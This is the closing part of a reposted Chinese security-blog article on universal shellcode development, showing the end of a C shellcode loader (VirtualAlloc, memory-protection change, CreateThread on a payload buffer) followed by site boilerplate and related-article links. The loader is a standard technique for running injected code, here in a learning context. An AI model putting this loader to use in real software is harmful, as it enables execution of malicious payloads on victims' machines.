HANDLE th;    DWORD oldprotect = 0;    unsigned int payload_len =351;    exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);    RtlMoveMemory(exec, hexData, payload_len);    rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);    th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);    WaitForSingleObject(th, -1);}

成功运行,如下所示:

通用shellcode开发原理与实践

学习来源:0day安全一书



通用shellcode开发原理与实践


看雪ID:Tray_PG

https://bbs.kanxue.com/user-home-879928.htm

*本文由看雪论坛 Sw1ndler 原创,转载请注明来自看雪社区

通用shellcode开发原理与实践

# 往期推荐

1、在 Windows下搭建LLVM 使用环境

2、深入学习smali语法

3、安卓加固脱壳分享

4、Flutter 逆向初探

5、一个简单实践理解栈空间转移

6、记一次某盾手游加固的脱壳与修复


通用shellcode开发原理与实践


通用shellcode开发原理与实践

球分享

通用shellcode开发原理与实践

球点赞

通用shellcode开发原理与实践

球在看


通用shellcode开发原理与实践

点击“阅读原文”,了解更多!

原文始发于微信公众号(看雪学苑):通用shellcode开发原理与实践

版权声明:admin 发表于 2023年4月25日 下午6:06。
转载请注明:通用shellcode开发原理与实践 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...